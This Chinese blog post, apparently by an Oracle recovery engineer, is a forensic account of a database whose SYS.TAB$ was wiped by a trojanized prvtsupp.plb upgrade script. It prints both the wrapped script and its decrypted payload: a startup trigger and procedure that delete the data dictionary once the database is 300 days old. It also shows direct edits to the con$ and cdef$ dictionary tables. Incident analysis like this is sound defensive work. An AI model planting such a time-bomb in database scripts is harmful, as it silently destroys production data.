前几天某客户紧急求助我们,其Oracle数据库由于重启之后无法正常启动。最后通过数据库全备进行了一天一夜的恢复,最后仍然无法正常打开数据库。alter database open时检查发现数据库报错ORA-16703.

从用户提供的信息来看,确实是在open resetlogs的时候出现的错误。那么这个错误意味着什么呢? 其实第一眼看到这个错误;我们就大概清楚这是Oracle的数据字典出问题了。 而且这通常是Oracle tab$。

接到这个case,我开始感觉是非常的奇怪。为什么客户利用Oracle rman全备+归档进行恢复,然后open的时候居然报数据字典有问题呢?感觉有点匪夷所思。

这里我们首先要做的是进行验证,验证什么信息呢? 很简单,确认tab$是否真的有问题。这里其实有2种方法(第一是10046 trace跟踪你会看到Oracle 递归SQL在访问tab$时报错、第二是直接通过工具读取tab$的数据,看看是否正常)。

实际上这里我首先通过10046 event跟踪了一下,发现确实如此,为了更加确认,我将system文件cp到文件系统,通过ODU 抽取了tab$的数据,发现居然是0 行。这说明什么呢? 说明tab$ 的数据被人清空了?

我相信只有这一种解释了。发现了问题,没什么用呀。我们需要尽快帮用户恢复生产库,恢复业务。这是关键。由于客户之前的环境已经被人resetlogs了多次,因此不再适合继续恢复了;首先我们通过全备进行了一次恢复,然后尝试打开了数据库。确实非常顺利,但是遗憾的,不到1分钟数据库就宕机了,然后再次启动就是报同样的错误ORA-16073.

还好我此时多了一个心眼,open之前我先备份了system文件;此时再次通过odu抽取tab$的数据进行对比发现;open之前数据是存在的;open之后数据库宕机,然后再次查看tab$数据为0.

很明显,问题出在open之后的一个极其短暂的时内。通常这种破坏操作都是通过存储过程或者trigger等来进行;因此我尝试通过odu抽取了obj$的信息。发现该数据库再2017年9月2号凌晨创建了几个特殊对象,猜测就是这个东西在捣鬼了。

这几个dbms_support的对象明显是有问题的。看来这个问题在1个月前就潜伏了,只是用户没有发觉而已。结合alert log分析判断9月2号客户应该是进行过数据库升级操作,后面跟客户确认也确实如此。

难道问题出在升级的环境? 问过当时升级的工程师,整个过程没有任何问题,只是简单的将数据库从11.2.0.3升级到11.2.0.4。 想到这里,问怀疑问题可能出现在Oracle软件安装包上。搜了一下Mos发现这个dbms_support对象在安装升级过程运行?/rdbms/admin/prvtsupp.plb脚本产生的内容。 既然如此;那么有没有这个脚本被人动过手脚呢? strings 看了一下脚本内容,发现确实有问题。

如下是被恶意注入后的脚本:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

ora1>$strings /oracle/product/11.2.4/rdbms/admin/prvtsupp.plb

create or replace package body dbms_support wrapped

a000000

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

a60 422

xW0WZwigImD9oK/QRNfsTSh3Auowg1WnDNATfC/GEhmufwnV+9P0WqDNIlF2dnV+s3upfmqf

rhYFDt8l3zGLqIHIKA8LHTdWMbAjJijnilgImiTQxqLb7Rvq54xQmAIxVWQyRRkielbq/crk

XTZwdlvipWqmG8Ro/qlr45OmNXqIqB1PDJmm7IuE6ZpDL243ihzujSxNOIGPWrOUyP2SN+eZ

T3+ZScjP8S1E85fcxBNkhS9UMO/WFS8jHSroSXiNCo2/OI+yq2bv7ewhNdROu+ZI5nX4jUu8

bzTqKzYhNLNGsHpKUci9WsI9I7xxZ2QeqTHaHsjN0Ny7BgZoZZ+Y7KJ8Dh1W+O2QZMIqRgop

/vh0/0UQMRIZMkVP8J8CSEcEOWZDhc/mgaMU96xBMo5LZST/U9sKRyIr4z2wZRZax12eR/pB

wNFwTf6GLwPAsR7Oi+CJlg71idNqd++sGoZ8y3ovwgoOauNyf2zMohCcXSI+ZW9lA+u/kQMe

dK+4xApcYbQaerrXsP6c8vA2O12KnzlHp/G54L43inLP7d7m8FR9UR/ZKhRGkgl0i4dEXjHF

2Net/TvmugXWADJYjX9kJcaK2ivan3nqCbEPLgbN3Tda9UPostV/IyzkCCK0L1/2TwnSX8T3

3/Epc8/fVZE+T3IUQ347wGjYa2GBmNNQhfVqrE/rKmgBMeGe86crFnjm5eS/OgjcPZbZpKF1

9MN8BlFChM/3u4xWB6jp06YwVxt/lMpUX8brEV1bh5iadWlKPDjuJtdYkjWjXeMmJ9jNtPJA

O6wclKRgg7VSfcAabJtO5/zcZFdg+J8wboddGr6d++SMADCftpvHLn81ngc9oDSFDiIJXJWn

qzQk2FuckHq+yThiC4SFxcVxRV4nPdCEYqBfQrgkiXhMc9g1DL4Da8zi9nshgzT/fc/lrkzx

yE4zkpUhieqHxn5y/eiuQAA7WS0B/8bVXigQpNmq4W71rRiOt2rpg1DHbuuWn4jXOWowMxo0

eA1PRRb5CqBCRKqwoSJPO/mCKs6lH0wxx2M=

create or replace procedure DBMS_SUPPORT_DBMONITORP wrapped

a000000

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

166 17d

L+Q5S7kOFTBh3pJuFhl03zpaj2EwgzKur9zWZ47SR+pHN0Y8ER0IGya9iryn8BXxVZV99MqT

jPeDOVN1pQjRL9BBh4vtWEKCY/FfMGPnetcyOwrCiZd3y4XmBCby580I22k2zARou4x8Mwl7

GOEcpi6u23Rf2JOnTfA/PYL+pz7A1gvabRQrczX6dnK8HaHsERgX7VdwA3EsM784UwL6ESro

H+CNqON6SdF2HTUFBcmgBBPE/+blRgHQryEpxT3JOnEs1a8gUbjaLq+Xq9Eu9n/kdIwA+9ep

r59hpFLw/vnP7Cjaxk7WbJ6/XGj9F6DH+3MBxpFBmba1tk0pYAW1McQsYXNFbiSdxj1KnrmD

lUETCD2WIxfg3w==

PROMPT Create DBMS_SUPPORT_DBMONITOR TRIGGER

create or replace trigger DBMS_SUPPORT_DBMONITOR

after startup on database

declare

begin

   DBMS_SUPPORT_DBMONITORP;

end;

ora1>$

如下是我的11.2.0.4环境的正常脚本内容:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

[oracle@killdb admin]$ strings /u01/app/oracle/product/11.2.0/dbhome_1/rdbms/admin/prvtsupp.plb

create or replace package body dbms_support wrapped

a000000

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

abcd

a60 422

xW0WZwigImD9oK/QRNfsTSh3Auowg1WnDNATfC/GEhmufwnV+9P0WqDNIlF2dnV+s3upfmqf

rhYFDt8l3zGLqIHIKA8LHTdWMbAjJijnilgImiTQxqLb7Rvq54xQmAIxVWQyRRkielbq/crk

XTZwdlvipWqmG8Ro/qlr45OmNXqIqB1PDJmm7IuE6ZpDL243ihzujSxNOIGPWrOUyP2SN+eZ

T3+ZScjP8S1E85fcxBNkhS9UMO/WFS8jHSroSXiNCo2/OI+yq2bv7ewhNdROu+ZI5nX4jUu8

bzTqKzYhNLNGsHpKUci9WsI9I7xxZ2QeqTHaHsjN0Ny7BgZoZZ+Y7KJ8Dh1W+O2QZMIqRgop

/vh0/0UQMRIZMkVP8J8CSEcEOWZDhc/mgaMU96xBMo5LZST/U9sKRyIr4z2wZRZax12eR/pB

wNFwTf6GLwPAsR7Oi+CJlg71idNqd++sGoZ8y3ovwgoOauNyf2zMohCcXSI+ZW9lA+u/kQMe

dK+4xApcYbQaerrXsP6c8vA2O12KnzlHp/G54L43inLP7d7m8FR9UR/ZKhRGkgl0i4dEXjHF

2Net/TvmugXWADJYjX9kJcaK2ivan3nqCbEPLgbN3Tda9UPostV/IyzkCCK0L1/2TwnSX8T3

3/Epc8/fVZE+T3IUQ347wGjYa2GBmNNQhfVqrE/rKmgBMeGe86crFnjm5eS/OgjcPZbZpKF1

9MN8BlFChM/3u4xWB6jp06YwVxt/lMpUX8brEV1bh5iadWlKPDjuJtdYkjWjXeMmJ9jNtPJA

O6wclKRgg7VSfcAabJtO5/zcZFdg+J8wboddGr6d++SMADCftpvHLn81ngc9oDSFDiIJXJWn

qzQk2FuckHq+yThiC4SFxcVxRV4nPdCEYqBfQrgkiXhMc9g1DL4Da8zi9nshgzT/fc/lrkzx

yE4zkpUhieqHxn5y/eiuQAA7WS0B/8bVXigQpNmq4W71rRiOt2rpg1DHbuuWn4jXOWowMxo0

eA1PRRb5CqBCRKqwoSJPO/mCKs6lH0wxx2M=

我们可以清楚的看到,前面的大部分内容被篡改了。对于这个恶意攻击脚本,我尝试进行解密,但是没有成功。 

后面研究了一下,稍微修改一下脚本,即可顺利解密,解密出来的代码如下所示:

1

2

3

4

5

6

7

8

9

10

11

PROCEDURE DBMS_SUPPORT_DBMONITORP IS

DATE1 INT :=10;

BEGIN

   SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;

   IF (DATE1>=300) THEN

   EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system  as select * from sys.tab$';

   DELETE SYS.TAB$;

   COMMIT;

   EXECUTE IMMEDIATE 'alter system checkpoint';

   END IF;

END;

注意、注意;禁止拿去搞破坏性动作!本站一概不负责!

对于Oracle自带的这个正常的prvtsupp.plb的脚本,可以轻易解密:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

PACKAGE BODY dbms_support AS

  FUNCTION MYSID RETURN NUMBER IS

    L_SID NUMBER := 0;

  BEGIN

    

    SELECT SID INTO L_SID FROM V$MYSTAT

          WHERE ROWNUM = 1;

    RETURN(L_SID);

  END;

  FUNCTION PACKAGE_VERSION RETURN VARCHAR2 IS

  BEGIN

    RETURN('DBMS_SUPPORT Version 1.0 (17-Aug-1998)'||

           ' - Requires Oracle 7.2 - 8.0.5');

  END;

  FUNCTION CURRENT_SERIAL(L_SID IN NUMBER) RETURN NUMBER IS

    L_SERIAL NUMBER := 0;

  BEGIN

    SELECT SERIAL# INTO L_SERIAL

    FROM V$SESSION

    WHERE SID = L_SID;

    RETURN(L_SERIAL);

  EXCEPTION

    WHEN NO_DATA_FOUND THEN

      RAISE_APPLICATION_ERROR(-20000,

            'Current_Serial: SID '||L_SID||' does not exist');

  END;

  PROCEDURE VALIDATE_SID(L_SID    IN NUMBER,

                         L_SERIAL IN NUMBER) IS

    L_STATUS VARCHAR2(20);

  BEGIN

    SELECT STATUS INTO L_STATUS FROM V$SESSION

    WHERE SID = L_SID AND SERIAL# = L_SERIAL;

    IF L_STATUS = 'KILLED' THEN

      RAISE_APPLICATION_ERROR(-20000,

          'Validate_Sid: Session ('||L_SID||','||L_SERIAL||

          ') has been KILLED');

    END IF;

  EXCEPTION

    WHEN NO_DATA_FOUND THEN

      RAISE_APPLICATION_ERROR(-20000,

          'Validate_Sid: Session ('||L_SID||','||L_SERIAL||

          ') does not exist');

  END;

  PROCEDURE START_TRACE(WAITS IN BOOLEAN  DEFAULT TRUE,

                        BINDS IN BOOLEAN  DEFAULT FALSE) IS

  BEGIN

    START_TRACE_IN_SESSION(MYSID,0,WAITS,BINDS);

  END;

  PROCEDURE STOP_TRACE IS

  BEGIN

    STOP_TRACE_IN_SESSION(MYSID,0);

  END;

  PROCEDURE START_TRACE_IN_SESSION(SID    IN NUMBER,

                                   SERIAL IN NUMBER,

                                   WAITS  IN BOOLEAN  DEFAULT TRUE,

                                   BINDS  IN BOOLEAN  DEFAULT FALSE) IS

    L_LEVEL  NUMBER := 0;

    L_SID    NUMBER := SID;

    L_SERIAL NUMBER := SERIAL;

  BEGIN

    

    IF (SERIAL = 0 OR SERIAL IS NULL) THEN

        L_SERIAL := CURRENT_SERIAL(SID);

    END IF;

    VALIDATE_SID(L_SID, L_SERIAL);

    

    IF (WAITS AND BINDS) THEN

      L_LEVEL := 12;

    ELSIF (WAITS) THEN

      L_LEVEL := 8;

    ELSIF (BINDS) THEN

      L_LEVEL := 4;

    ELSE

      L_LEVEL := 1;

    END IF;

    

    DBMS_SYSTEM.SET_EV(L_SID, L_SERIAL, 10046, L_LEVEL, '');

  END;

  PROCEDURE STOP_TRACE_IN_SESSION(SID    IN NUMBER,

                                  SERIAL IN NUMBER) IS

    L_SID    NUMBER := SID;

    L_SERIAL NUMBER := SERIAL;

  BEGIN

    

    IF (SERIAL = 0 OR SERIAL IS NULL) THEN

        L_SERIAL := CURRENT_SERIAL(SID);

    END IF;

    VALIDATE_SID(L_SID, L_SERIAL);

    

    DBMS_SYSTEM.SET_EV(L_SID, L_SERIAL, 10046, 0, '');

  END;

END DBMS_SUPPORT;

那么知道了问题的原因,如何处理呢? 这就不太难了。我尝试用提前cp备份的system文件进行替换,然后推进scn顺利打开了数据库,打开之后,我离开进行了如下的操作。

1

2

3

4

5

alter system set "_system_trig_enabled"=false scope=both;

alter database open ;

drop TRIGGER DBMS_SUPPORT_DBMONITOR;

drop PROCEDURE DBMS_SUPPORT_DBMONITORP;

drop PACKAGE DBMS_SUPPORT;

这里需要注意的是,对于这个隐含参数,建议open之前打开,可以起到类似将数据库在upgrade模式下操作的效果(drop操作要够快,最好是命令与open操作一起执行)。

事情到这里还没结束,可能是我操作不够快还是怎么到。最后dbmonitorp这个私活无法drop,会一直挂起。不过trigger被drop了,那么只是问题不会再次触发了,除非手工调用这个存储过程。

最后客户测试应用时,发现有将近10个表有问题,报错ora-30732错误。这个错误本身来讲不难处理,重建对象即可。问题是当我尝试重建table时,发现session直接挂起。通过10046 event跟踪session发现一直时row cache lock,如下所示:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

=====================

PARSING IN CURSOR #47076496818944 len=247 dep=0 uid=0 oct=1 lid=0 tim=1506947044194706 hv=2230672216 ad='18eb9ca910' sqlid='0cxwj6k2gaqus'

CREATE TABLE test.LIS_TES

END OF STMT

PARSE #47076496818944:c=2000,e=2011,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=1,plh=0,tim=1506947044194702

=====================

PARSING IN CURSOR #47076496812832 len=45 dep=1 uid=0 oct=3 lid=0 tim=1506947044195801 hv=3393782897 ad='18fce834e0' sqlid='9p6bq1v54k13j'

select value$ from sys.props$ where name = :1

END OF STMT

PARSE #47076496812832:c=1000,e=884,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=0,tim=1506947044195800

BINDS #47076496812832:

Bind#0

  oacdty=01 mxl=32(22) mxlc=00 mal=00 scl=00 pre=00

  oacflg=10 fl2=0001 frm=01 csi=852 siz=32 off=0

  kxsbbbfp=2ad0d9dea2b8  bln=32  avl=22  flg=05

  value="GG_XSTREAM_FOR_STREAMS"

EXEC #47076496812832:c=1000,e=1304,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=415205717,tim=1506947044197191

FETCH #47076496812832:c=0,e=65,p=0,cr=2,cu=0,mis=0,r=0,dep=1,og=4,plh=415205717,tim=1506947044197275

STAT #47076496812832 id=1 cnt=0 pid=0 pos=1 obj=98 op='TABLE ACCESS FULL PROPS$ (cr=2 pr=0 pw=0 time=66 us cost=2 size=28 card=1)'

CLOSE #47076496812832:c=0,e=5,dep=1,type=0,tim=1506947044197363

=====================

PARSING IN CURSOR #47076497130448 len=70 dep=1 uid=0 oct=3 lid=0 tim=1506947044200836 hv=1853064805 ad='192c100d50' sqlid='5hrvvu1r771m5'

SELECT VALUE$ FROM SYS.PROPS$ WHERE NAME = 'OGG_TRIGGER_OPTIMIZATION'

END OF STMT

PARSE #47076497130448:c=2000,e=1513,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=415205717,tim=1506947044200835

EXEC #47076497130448:c=0,e=19,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,plh=415205717,tim=1506947044200964

FETCH #47076497130448:c=0,e=24,p=0,cr=2,cu=0,mis=0,r=0,dep=1,og=4,plh=415205717,tim=1506947044201006

STAT #47076497130448 id=1 cnt=0 pid=0 pos=1 obj=98 op='TABLE ACCESS FULL PROPS$ (cr=2 pr=0 pw=0 time=24 us cost=2 size=28 card=1)'

*** 2017-10-02 20:24:07.201

WAIT #47076496818944: nam='row cache lock' ela= 3000384 cache id=8 mode=0 request=3 obj#=-1 tim=1506947047201532

*** 2017-10-02 20:24:10.203

WAIT #47076496818944: nam='row cache lock' ela= 3001708 cache id=8 mode=0 request=3 obj#=-1 tim=1506947050203394

*** 2017-10-02 20:24:13.205

WAIT #47076496818944: nam='row cache lock' ela= 3001737 cache id=8 mode=0 request=3 obj#=-1 tim=1506947053205264

*** 2017-10-02 20:24:16.207

WAIT #47076496818944: nam='row cache lock' ela= 3001722 cache id=8 mode=0 request=3 obj#=-1 tim=1506947056207134

这确实有些怪异了。通过上面毒cahce id=12我们可以进一步定位到是数据库的约束可能有问题,如下:

1

2

3

4

5

6

7

8

9

10

11

12

SQL> select cache#,cache_name,lock_mode,lock_request,saddr from v$rowcache_parent where lock_mode<>0;

    CACHE# CACHE_NAME                                                        LOCK_MODE LOCK_REQUEST SADDR

---------- ---------------------------------------------------------------- ---------- ------------ ----------------

         8 dc_objects                                                                5            0 0000001883325D60

         8 dc_objects                                                                5            0 0000001883325D60

         8 dc_objects                                                                5            0 0000001883325D60

         8 dc_objects                                                                5            0 0000001883325D60

        11 dc_objects                                                                5            0 0000001883325D60

        11 dc_objects                                                                5            0 0000001883325D60

        12 dc_constraints                                                            5            0 0000001883325D60

        12 dc_constraints                                                            5            0 0000001883325D60

约束有问题? 各位不要惊讶,这里完全有可能,因为数据库是强制open的,可能有不一致的情况出现。为了进行验证,我创建一个不带约束的table 发现确实ok,带上not null的约束就hang住。

最后在自己的11.2.0.4的数据库进行了简单测试发现:

1、create table(带约束的情况下)会如下几个基表的操作,但是与约束有关系的,其实就con$,cdef$:

1

2

3

4

5

insert into con$(owner#,name,con#,spare1)values(:1,:2,:3,:4)

insert into tab$(obj#,ts#,file#,block#,bobj#,tab#,intcols,kernelcols,clucols,audit$,flags,pctfree$,pctused$,initrans,maxtrans,rowcnt,blkcnt,empcnt,avgspc,chncnt,avgrln,analyzetime,samplesize,cols,property,degree,instances,dataobj#,avgspc_flb,flbcnt,trigflag,spare1,spare6)values(:1,:2,:3,:4,decode(:5,0,null,:5),decode(:6,0,null,:6),:7,:8,decode(:9,0,null,:9),:10,:11,:12,:13,:14,:15,:16,:17,:18,:19,:20,:21,:22,:23,:24,:25,decode(:26,1,null,:26),decode(:27,1,null,:27),:28,:29,:30,:31,:32,:33)

insert into col$(obj#,name,intcol#,segcol#,type#,length,precision#,scale,null$,offset,fixedstorage,segcollength,deflength,default$,col#,property,charsetid,charsetform,spare1,spare2,spare3)values(:1,:2,:3,:4,:5,:6,decode(:5,182/*DTYIYM*/,:7,183/*DTYIDS*/,:7,decode(:7,0,null,:7)),decode(:5,2,decode(:8,-127/*MAXSB1MINAL*/,null,:8),178,:8,179,:8,180,:8,181,:8,182,:8,183,:8,231,:8,null),:9,0,:10,:11,decode(:12,0,null,:12),:13,:14,:15,:16,:17,:18,:19,:20)

insert into ccol$(con#,obj#,intcol#,pos#,col#,spare1) values(:1,:2,:3,decode(:4,0,null,:4),:5, :6)

insert into cdef$(obj#,con#,type#,intcols,condlength,condition,robj#,rcon#,match#,refact,enabled,cols,defer,mtime,spare1,spare2,spare3)values(:1,:2,:3,decode(:4,0,null,:4),decode(:5,0,null,:5),:6,decode(:7,0,null,:7),decode(:8,0,null,:8),decode(:9,0,null,:9),decode(:10,0,null,:10), decode(:11,0,null,:11),:12, decode(:13,0,null,:13),:14,:15,:16,:17)

2、创建约束时Oracle会以_next_constraint 的con# 值为当前所能搞创建成功的约束的con#;该值必须比con$.max(con#)要大。 其实只要大于即可。

根据类似的思路我对客户这套数据库进行了简单检查,发现数据字典确实有问题,如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

SQL> select /*+full(con$) */ con# from con$

  2  minus

  3  select /*+full(cdef$) */ con# from cdef$

  4  /

      CON#

----------

    144216

SQL> select /*+full(cdef$) */ con# from cdef$ minus

  2  select /*+full(con$) */ con# from con$;

no rows selected

SQL> select /*+index(cdef$ I_CDEF1) */ con# from cdef$ minus

  2  select /*+INDEX(con$ I_CON2) */ con# from con$;

      CON#

----------

    144217

    144218

    144219

    144220

    144221

    144222

    144223

    144224

    144225

    144226

    144227

    144228

    144229

13 rows selected.

++++index

select /*+index(cdef$ I_CDEF1) */ con# from cdef$ order by 1;

      CON#

----------

    144171

    144192

    144193

    144216

    144217

    144218

    144219

    144220

    144221

    144222

    144223

    144224

    144225

    144226

    144227

    144228

    144229

+++table

select /*+full(cdef$) */ con# from cdef$ order by 1;

      CON#

----------

    144086

    144087

    144088

    144089

    144090

    144091

    144092

    144093

    144094

    144095

    144096

    144171

    144192

    144193

+++con$   index

select /*+INDEX(con$ I_CON2) */ con# from con$ order by 1 ;

      CON#

----------

    144171

    144192

    144193

    144216

file 67 block 69150

+++con$  table

select /*+full(con$) */ con# from con$ order by 1 ;

      CON#

----------

    144171

    144192

    144193

    144216

    .....

    144228

con$的记录均包含了cdef$。因此这里我们不需要太关注cdef$。

首先我们来说con$:

由于其i_con2这个唯一索引中最大值是144216,因此我们需要将表中con# >144216 的记录全部标记为删除;

其次对于cdef$:

由于cdef$中con# 最大记录是144193,因此需要将其索引I_CDEF1中的con# > 144193的键值全部标记为删除。

这里我们通过bbed 修复了上述对应的一些data block和Index Block,但是创建table 时发现还是hang住。难道哪个地方没有修改对吗?

由于我的测试环境的情况是需要_next_constraint 能够正常工作,按理说都是ok的。那么问题出现在什么的地方呢?

这里我们先尝试来查看一条正常的记录,例如con#=144193:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

SQL> select /*+full(con$) */ rowid,dbms_rowid.rowid_relative_fno(rowid) file_id,

  2  dbms_rowid.rowid_block_number(rowid) block_id

  3          from con$  where con#=144193

  4  /

ROWID                 FILE_ID   BLOCK_ID

------------------ ---------- ----------

AAAAAcAABAAAc+PABI          1     118671

SQL> select rowid,

  2          dbms_rowid.rowid_object(rowid) object_id,

  3          dbms_rowid.rowid_relative_fno(rowid) file_id,

  4          dbms_rowid.rowid_block_number(rowid) block_id,

  5          dbms_rowid.rowid_row_number(rowid) num

  6  from con$  where con#=144193;

ROWID               OBJECT_ID    FILE_ID   BLOCK_ID        NUM

------------------ ---------- ---------- ---------- ----------

AAAAAcAABAAAc+PABI         28          1     118671         72

大家可以看到,dba地址和行号都应该是对应起来的(这里我没有显示行号).

我们再来看看异常的这条数据:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

SQL> select rowid,

  2          dbms_rowid.rowid_object(rowid) object_id,

  3          dbms_rowid.rowid_relative_fno(rowid) file_id,

  4          dbms_rowid.rowid_block_number(rowid) block_id,

  5          dbms_rowid.rowid_row_number(rowid) num

  6  from con$  where con#=144216;

ROWID               OBJECT_ID    FILE_ID   BLOCK_ID        NUM

------------------ ---------- ---------- ---------- ----------

AAAAAcAABAAAc+PAAS         28          1     118671         18

SQL> select /*+full(con$) */ rowid,dbms_rowid.rowid_relative_fno(rowid) file_id,

  2  dbms_rowid.rowid_block_number(rowid) block_id

  3          from con$  where con#=144216

  4  /

ROWID                 FILE_ID   BLOCK_ID

------------------ ---------- ----------

AAAAAcAABAAAAEhAAM          1        289

很明显,rdba地址都不匹配呀(注意:前面基于rowid的查询,不加hint的情况下,走的是Index 扫描)。以为这里将rdba修改为file 1 block 289 就ok了,发现还是不行。为什么呢? 这里给自己挖了一个坑。后面再次查询发现行号其实也不匹配,正常应该对应第12行,实际这里错误的对应到18行了。如下是该数据块的dump情况:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

—file 1 block 289  dump

tl: 29 fb: --H-FL-- lb: 0x0  cc: 4

col  0: [ 1]  80

col  1: [16]  5f 4e 45 58 54 5f 43 4f 4e 53 54 52 41 49 4e 54

col  2: [ 4]  c3 0f 2b 11

col  3: [ 1]  80

tab 0, row 13, @0x1e92

www.killdb.com@select dump(144216,16) from dual;

Typ=2 Len=4: c3,f,2b,11

www.killdb.com@

www.killdb.com@select  dump('_NEXT_CONSTRAINT',16) from dual;

Typ=96 Len=16: 5f,4e,45,58,54,5f,43,4f,4e,53,54,52,41,49,4e,54

看来这确实是我们需要的这条数据,非常珍贵的一条数据呀。当最后将index block中的行号也修改为一致时,再次测试发现就ok了。不过我这里还是直接将该条记录delete条了,然后插入一条新的记录(有些人会说,这里如果不修改能否delete呢?其实不行的,delete会报错):

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

SQL> delete from con$ where con#=144216;

1 row deleted.

SQL> commit;

Commit complete.

SQL> insert into con$ values(0,'_NEXT_CONSTRAINT',144236,0,'','','','','');

1 row created.

SQL> commit;

Commit complete.

SQL> select /*+INDEX(con$ I_CON2) */rowid,

  2          dbms_rowid.rowid_object(rowid) object_id,

  3          dbms_rowid.rowid_relative_fno(rowid) file_id,

  4          dbms_rowid.rowid_block_number(rowid) block_id,

  5          dbms_rowid.rowid_row_number(rowid) num_5

  6  from con$  where con#=144236;

ROWID               OBJECT_ID    FILE_ID   BLOCK_ID      NUM_5

------------------ ---------- ---------- ---------- ----------

AAAAAcAABAAAc+PAAS         28          1     118671         18

SQL> SQL>

SQL> select /*+full(con$) */ rowid,

  2          dbms_rowid.rowid_object(rowid) object_id,

  3          dbms_rowid.rowid_relative_fno(rowid) file_id,

  4          dbms_rowid.rowid_block_number(rowid) block_id,

  5          dbms_rowid.rowid_row_number(rowid) num_5

  6          from con$  where con#=144236;

ROWID               OBJECT_ID    FILE_ID   BLOCK_ID      NUM_5

------------------ ---------- ---------- ---------- ----------

AAAAAcAABAAAc+PAAS         28          1     118671         18

SQL> conn test/test

Connected.

SQL> create table tt_con(id number not null);

Table created.

整个恢复过程其实要比这个复杂一些,省略了一些步骤,不过基本上差不了太多。大家将就看喏~~

Logo

为所有Web3兴趣爱好者提供学习成长、分享交流、生态实践、资源工具等服务,作为Anome Land原住民可不断优先享受各种福利,共同打造全球最大的Web3 UGC游戏平台。

更多推荐